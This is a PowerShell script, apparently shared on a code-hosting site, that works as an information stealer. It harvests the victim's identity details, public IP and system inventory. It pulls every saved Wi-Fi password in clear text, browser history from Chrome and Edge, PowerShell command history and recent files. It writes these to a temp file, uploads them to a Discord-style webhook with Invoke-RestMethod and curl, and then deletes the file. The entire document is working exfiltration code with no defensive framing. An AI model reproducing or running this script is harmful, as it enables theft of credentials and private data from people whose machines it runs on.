egieb
95 lines
7.9 KiB
PowerShell
95 lines
7.9 KiB
PowerShell
$hookurl = "$dc"
|
|
# shortened URL Detection
|
|
if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url}
|
|
|
|
$userInfo = Get-WmiObject -Class Win32_UserAccount ;$fullName = $($userInfo.FullName) ;$fullName = ("$fullName").TrimStart("")
|
|
$email = (Get-ComputerInfo).WindowsRegisteredOwner
|
|
$systemLocale = Get-WinSystemLocale;$systemLanguage = $systemLocale.Name
|
|
$userLanguageList = Get-WinUserLanguageList;$keyboardLayoutID = $userLanguageList[0].InputMethodTips[0]
|
|
$ver = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').DisplayVersion
|
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
|
$outssid="";$a=0;$ws=(netsh wlan show profiles) -replace ".*:\s+";foreach($s in $ws){
|
|
if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "<None>" -And $s.length -gt 5){$ssid=$s.Trim();if($s -Match ":"){$ssid=$s.Split(":")[1].Trim()}
|
|
$pw=(netsh wlan show profiles name=$ssid key=clear);$pass="None";foreach($p in $pw){if($p -Match "Key Content"){$pass=$p.Split(":")[1].Trim();$outssid+="SSID: $ssid : Password: $pass`n"}}}$a++;}
|
|
|
|
$systemInfo = Get-WmiObject -Class Win32_OperatingSystem
|
|
$processorInfo = Get-WmiObject -Class Win32_Processor
|
|
$computerSystemInfo = Get-WmiObject -Class Win32_ComputerSystem
|
|
$userInfo = Get-WmiObject -Class Win32_UserAccount
|
|
$videocardinfo = Get-WmiObject Win32_VideoController
|
|
$Hddinfo = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, FileSystem,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,FileSystem,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; } ;$Hddinfo=($Hddinfo| Out-String) ;$Hddinfo = ("$Hddinfo").TrimEnd("")
|
|
$RamInfo = Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
|
|
|
|
$users = "$($userInfo.Name)"
|
|
$userString = "`nFull Name : $($userInfo.FullName)"
|
|
|
|
$OSString = "$($systemInfo.Caption) $($systemInfo.OSArchitecture)"
|
|
$systemString = "Processor : $($processorInfo.Name)"
|
|
$systemString += "`nMemory : $RamInfo"
|
|
$systemString += "`nGpu : $($videocardinfo.Name)"
|
|
$systemString += "`nStorage : $Hddinfo"
|
|
|
|
$infomessage = "``========================================================
|
|
|
|
Current User : $env:USERNAME
|
|
Email Address : $email
|
|
Language : $systemLanguage
|
|
Keyboard Layout : $keyboardLayoutID
|
|
Other Accounts : $users
|
|
Public IP : $computerPubIP
|
|
Current OS : $OSString
|
|
Build : $ver
|
|
Hardware Info
|
|
--------------------------------------------------------
|
|
$systemString``"
|
|
|
|
$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table
|
|
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine
|
|
$service=Get-CimInstance -ClassName Win32_Service | select State,Name,StartName,PathName | Where-Object {$_.State -like 'Running'}
|
|
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize
|
|
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion
|
|
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?';$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"
|
|
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
|
$Value | ForEach-Object {$Key = $_;if ($Key -match $Search){New-Object -TypeName PSObject -Property @{User = $env:UserName;Browser = 'chrome';DataType = 'history';Data = $_}}}
|
|
$Regex2 = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?';$Pathed = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"
|
|
$Value2 = Get-Content -Path $Pathed | Select-String -AllMatches $regex2 |% {($_.Matches).Value} |Sort -Unique
|
|
$Value2 | ForEach-Object {$Key = $_;if ($Key -match $Search){New-Object -TypeName PSObject -Property @{User = $env:UserName;Browser = 'chrome';DataType = 'history';Data = $_}}}
|
|
$pshist = "$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt";$pshistory = Get-Content $pshist -raw
|
|
$RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 100 FullName, LastWriteTime
|
|
|
|
$outpath = "$env:temp\systeminfo.txt"
|
|
"--------------------- SYSTEM INFORMATION for $env:COMPUTERNAME -----------------------`n" | Out-File -FilePath $outpath -Encoding ASCII
|
|
"General Info `n $infomessage" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Network Info `n -----------------------------------------------------------------------`n$outssid" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"USB Info `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($COMDevices| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"`n" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"SOFTWARE INFO `n ======================================================================" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Installed Software `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($software| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Processes `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($process| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Services `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($service| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Drivers `n -----------------------------------------------------------------------`n$drivers" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"`n" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"HISTORY INFO `n ====================================================================== `n" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($Value| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($Value2| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Powershell History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($pshistory| Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
"Recent Files `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
($RecentFiles | Out-String) | Out-File -FilePath $outpath -Encoding ASCII -Append
|
|
|
|
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":computer: ``System Information for $env:COMPUTERNAME`` :computer:"} | ConvertTo-Json
|
|
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
|
|
|
|
Sleep 1
|
|
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = "$infomessage"} | ConvertTo-Json
|
|
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
|
|
|
|
curl.exe -F file1=@"$outpath" $hookurl
|
|
Sleep 1
|
|
Remove-Item -Path $outpath -force
|